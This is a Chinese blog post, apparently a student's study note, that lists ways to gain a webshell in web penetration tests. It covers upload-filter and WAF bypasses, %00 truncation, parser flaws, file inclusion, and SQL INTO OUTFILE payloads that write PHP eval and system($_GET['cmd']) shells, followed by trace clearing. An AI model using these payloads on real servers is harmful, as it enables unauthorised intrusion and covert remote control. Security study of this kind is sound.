webshell相關之——滲透獲取webshell思路總結

滲透獲取webshell思路總結

又坐一天沒動地方哈,但是感覺還是有一些沒真整明白,也沒總結的特別全面細緻,今天先發出來,明天再花時間再整理一下,這個問題也是很多面試中常見問題,我認爲值得花些時間來研究。

在這裏插入圖片描述

今天就從CMS和非CMS,與有管理權限和無管理權限(無需登錄),這幾個方面來梳理一下滲透測試獲取webshell的思路,並沒有很具體的方法實戰,現在關於這個思路都是用一個南方內個靶機,網上很多,有興趣可以自己看一下,很多內容都是CSDN 的Agan '前輩的知識拷貝過來的,參考的所有資料博文都放在了文末。

前言

滲透測試之後,我們要獲取webshell,再到權限提升
那麼有時候拉到管理員後臺了(例如暴破出了密碼),怎麼取得一個webshell呢
在這裏插入圖片描述

一、CMS獲取Webshell方法(開源)

什麼是CMS?

CMS系統指的是內容管理系統。
內容管理系統(CMS)是允許用戶將內容直接發佈到Web的接口。將內容頁面直接添加到Web的過程比從本地計算機創建和上載頁面提前一步,因爲它允許大量人員遠程添加和共享數據。

通俗來講:CMS可以理解爲CMS幫你把一個網站的程序部分的事全做完了;你要做的只是一個網站裏面美工的部份

如何查看CMS相關信息?

進入後臺之後可以查看
查看CMS系統
有可能直接顯示
有可能會在最下方信息中顯示

有可能要使用工具
御劍web指紋識別
谷歌瀏覽器的wappalyzer

如何獲取webshell?

主要通過百度搜索CMS網站程序名稱。(其實就是0day)
如:phpcms拿Webshell、WordPress後臺拿Webshell (通過一些模板,填ip地址的地方抓包改包,上傳圖片木馬),phpwind拿webshell(用戶等級管理插一句話,髒話過濾插一句話,模板插一句話),WordPress拿後臺webshell

二、非CMS獲取Webshell方法(公司自開發)

有時候有的公司並不使用開源的CMS,而是選擇自己開發源代碼,也就是非CMS情況下,這裏的思路分爲有權限和無權限兩方面來分析

小補充
安裝網站時可能報錯誤的原因
數據庫權限問題
一般數據庫都給一個讀或者寫的權限

父目錄問題
啓用父目錄選項沒勾選

IP沒有設置好

驗證碼有問題
去修改一下源代碼驗證碼部分

有管理權限

1.正常上傳

直接上傳
網站對上傳文件後綴格式並未過濾,直接上傳WebShell即可

大概思路是,已知後臺管理員賬號和密碼,找有上傳節點的地方,寫一個隱蔽或變形的木馬上傳,上傳成功後,用菜刀或蟻劍連接。

添加後綴類型上傳
注:爲什麼要寫一個隱蔽或變形的木馬呢?因爲如果你用的常見的木馬,只要一上傳就會被管理員或WAF發現(常見的木馬WAF都是有收集的,所以可以寫完木馬之後用D盾檢查一下,被WAF檢測出來的危險等級是多少)

2.數據庫備份與恢復

把允許上傳的格式的木馬,備份或者恢復成木馬格式
網站對上傳的文件後綴進行過濾,不允許上傳腳本類型文件如 asp、php、jsp、aspx等。

而網站具有數據庫備份功能,這時我們就可以將WebShell格式先改爲允許上傳的文件格式,然後,我們找到上傳後的文件路徑,通過數據庫備份,將文件備份爲腳本格式。

1)有些備份數據庫的地方,限制了用戶更改路徑,那該怎麼辦?

F12打開開發者工具,修改文本框元素的value值爲我們想要的路徑或格式就可以完成修改

2)如果上傳的格式被限制呢?該怎麼辦?

可以使用%00截斷來繞過上傳限制或使用BurpSuite 工具(%00截斷、特殊名文件名繞過、文件名大小寫繞過等等黑白名單繞過)之前講過

3.本地js驗證突破拿WebShell

當網站設置了js來限制用戶上傳的文件類型時,可以通過刪除js驗證或者修改上傳類型突破上傳拿WebShell。(這種方法之前講過,印象很深,最近有一篇繞過IWRITE寫作平臺防複製粘貼內個功能就是利用的這個方法)

或者使用BurpSuite 或者是 Fiddle等代理工具提交,本地文件先更改爲jpg,上傳時攔截,再把文件擴展名更改爲asp或者php即可

4、上傳其它腳本類型拿WebShell

1)此類型用於一臺服務器具有多個網站,a網站是asp的站,b可能是php的站,而a站中限制了上傳文件類型爲asp的文件,你可以嘗試上傳php的腳本,來拿Shell
2)你也可以嘗試將腳本文件後綴名改爲asa 或者在後面直接加個點(.)如"xx.asp." 來突破文件類型限制進行上傳拿WebShell

這個思路還是頭一次見噢,有用的思路增加了!

5、%00截斷拿WebShell

很傳統了不多說

截斷上傳

%00截斷
特殊文件名

1)在上傳文件的時候,你上傳的文件名可能會被網站自動改成別的名字,這個時候你可以嘗試抓取上傳文件數據包,將文件名改爲xx.asp%00.jpg進行截斷上傳,拿WebShell

6、利用解析漏洞拿WebShell

可以看中間件漏洞那個欄目 個人認爲記住幾個常見的就好了吧,一般都是會查一遍的,這大便宜不撿白不撿

1)IIS5.x / 6.0 解析漏洞
2)IIS 7.0 / IIS 7.5 / Nginx <8.03 畸形解析漏洞
3)Nginx < 8.03 空字節代碼執行漏洞
畸形解析漏洞
4)Apache 解析漏洞
(由於Apache是從右到左開始判斷解析的,如果不可識別解析,就再往左判斷)

7、利用編輯器漏洞拿WebShell

同中間件

常見編輯器
fckeditor
ewebeditor
cheditor

8、網站配置插馬拿WebShell

通過找到網站默認配置,將一句話插入到網站配置中,不過爲了能夠成功執行插馬,建議先下載該站源碼,進行查看源碼過濾規則,以防插馬失敗。

PS:插馬失敗很有可能會導致網站被你寫的一句話木馬,沒有閉合標籤導致被網站被插廢。
數據庫配置文件插馬也是相同的
往配置文件寫入木馬就可以了

不太清楚這個插廢是啥情況,沒遇到過,根據不同情況,編寫不同代碼,需要一定能力噢

9、通過編輯模塊拿WebShell

1)通過對網站的模塊進行編輯寫入一句話,然後生成腳本文件拿WebShell
2)通過將木馬添加到壓縮文件,把名字改爲網站模板類型,上傳到網站服務器,拿WebShell

10、修改腳本直接拿WebShell

有的網站可以修改添加腳本文件,可以直接拿WebShell

不太懂,沒有找實例,留個坑

11、SQL命令獲取

這個算今天印象最深刻的了

可以通過phpmyadmin 登錄數據庫使用數據庫命令來寫如一句話拿WebShell
注:這個前提條件是需要有一定的數據庫權限
大致步驟:

創建表
將一句話寫入剛創建的表中
查詢一句話所在表到文件,成功將一句話寫入文件
具體操作

第一種

CREATE TABLE `mysql`.`best` (`best1` TEXT NOT NULL );
INSERT INTO `mysql`.`best` (`best1` ) VALUES ('<?php @eval($_POST[password]);?>');
SELECT `best1` FROM `best` INTO OUTFILE 'd:/wamp/www/best.php';
DROP TABLE IF EXISTS `best`;

將一句話木馬插入到mysql庫best表best1字段
查詢這個字段導出到網站的文件中
把痕跡清除

第二種方法

Create TABLE moon (best text NOT NULL);
Insert INTO moon (best) VALUES('<?php @eval($_POST[pass]);?>');
select best from moon into outfile 'd:/wamp/www/best2.php';
Drop TABLE IF EXISTS moon;

第三種方法:

select '<?php @eval($_POST[pass]);?>'INTO OUTFILE 'd:/wamp/www/best3.php'

優先推薦不但簡單明瞭,而且避免了誤刪別人的數據!
第四種方法

select '<?php echo \'<pre>\';system($_GET[\'cmd\']); echo \'</pre>\'; ?>' INTO OUTFILE 'd:/wamp/www/best4.php'
		

12、上傳特殊木馬拿WebShell

一些網站安裝了WAF 安全狗、360,我們可以通過上傳一些免殺馬,變形木馬來進行突破封殺

13、文件包含拿WebShell

先將WebShell 改爲txt格式文件上傳,然後上傳一個腳本文件包含該txt格式文件,可繞過WAF拿WebShell

這種情況一般是,我們已經通過菜刀拿下了權限了,假設菜刀一句話木馬可以過安全狗,但大馬卻怎麼都沒有上傳成功,繞過安全狗

解決發現大馬上傳不了,被防火牆或者安全狗攔截時,可以考慮使用包含文件
思路
1)先上傳一個含有包含代碼(如)卻沒有攻擊代碼的文件,不會被狗攔
2)再將大馬改成jpg圖片文件上傳,也不會被狗攔
3)訪問第一次上傳的包含函數的文件,會發現執行了木馬
4)這裏是因爲包含函數包含的文件會被當成腳本文件,直接將文件內容插入到這個文件中

非管理權限(不登錄後臺)

1、SQL注入漏洞

有高權限 有絕對路徑可以直接寫
前提條件,具有足夠權限,對寫入木馬的文件夾有寫入權限,知道網站絕對路徑

1.對於MsSQL 注入漏洞網站可以通過log 備份、差異備份拿WebShell
2.對於MySQL 注入漏洞的網站可以通過into outfile 函數(寫入函數)將一句話木馬寫入,拿WebShell。

  1. 要有file_priv權限
    2. 知道文件絕對路徑
    3. 能使用union
    4. 對web目錄有讀權限
    注:若過濾了單引號,則可以將函數中的字符進行hex編碼
    還有一個是into file 函數(讀取函數)
    # into outfile 函數類似

之後
3.利用phpmyadmin 將木馬導出,拿WebShell
4.利用連接外連的數據庫拿WebShell

2、修改網站上傳類型配置來拿WebShell

某些網站,在網站上傳類型中限制了上傳腳本類型文件,我們可以去添加上傳文件類型如添加asp | php | jsp | aspx | asa 後綴名來拿WebShell

3、xss和sql注入聯合利用

有些輸入框對一些符號過濾不嚴密(如<>,所以一般存在xss的地方就可以這麼利用)我們可以在這裏輸入一句話<?php @eval($_POST['CE']);?>之後再用數據庫注入,查詢到文件into file成功插入一句話木馬

4、IIS寫權限拿WebShell

有些網站的管理員在配置網站權限的時候疏忽,導致我們有寫權限,這種漏洞需要用工具來利用,在這裏就不說了,只是提一下。而且已經很少見了,有專門的利用工具(桂林老兵),原理是通過找到有IIS 寫入權限的網站(開啓WebDeV),PUT進去一個.txt 格式的文件,目錄必須有刻寫的權限,如 image 文件夾,然後通過move 方法,把txt 格式的木馬用move 成腳本格式。

5、遠程命令執行拿WebShell

在有php代碼執行漏洞
例如一些框架漏洞的時候

可以通過執行一些系統命令進行拿WebShell
執行命令行命令“寫入內容到文件"echo ?php "@eval($_POST['CE']);?>" > x.php 會自動將創建木馬文件並將一句話木馬寫入其中,使用菜刀連接即可。

6、頭像上傳拿WebShell

大概思路:
將大馬放在文件夾中
將文件夾壓縮成壓縮文件(zip)
正常上傳一個頭像並且抓包
將數據包中圖片頭像的內容部分刪掉
重新寫入文件內容,將壓縮文件寫入到原本圖片的位置
上傳
之後返回包中會告訴我們絕對路徑

其他拿webshell方法

1、PhpMyadmin獲取Webshell
2、Tomcat獲取Webshell
3、Weblogic獲取Webshell
4、JBoss獲取Webshell
5.更新頁面拿webshell
在網站模板中的404頁面中插入一句話木馬,之後找到這個頁面的絕對路徑,訪問之即可拿Shell
6.上傳插件拿webshell
將木馬放入zip壓縮文件中,最好是網站插件的壓縮文件,之後再後臺安裝插件,選中含有木馬的壓縮文件,會自動將插件連通木馬安裝在網站目錄下,接下來我們只需要尋找到木馬的絕對路徑即可

2.3.4就看之前的命令執行板塊就可以了

參考資料

今天一天查了好多資料,這篇文章借鑑了以下的文章,有的年代久遠有的剛更新不久,與其說借鑑,倒不如說是對這些文章的一個總結抄錄,在這裏由衷感謝各位安全大佬的無私分享!

  1. 獲取webshell的一些總結 https://www.jianshu.com/p/4d37c160d009
  2. 拿WebShell 方法總結 原文鏈接:https://blog.csdn.net/God_XiangYu/article/details/99644596
  3. http://gstarwd.iteye.com/blog/542376 dedecms獲取Webshell總結
  4. http://www.2cto.com/Article/201209/156909.html 淺談MySQL導出一句話木馬拿WebShell的方法

祝大家五一快樂哈!沒有課和作業了,勻出更多時間可以自己安排痛痛快快學安全了哈!歐耶!

在這裏插入圖片描述

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章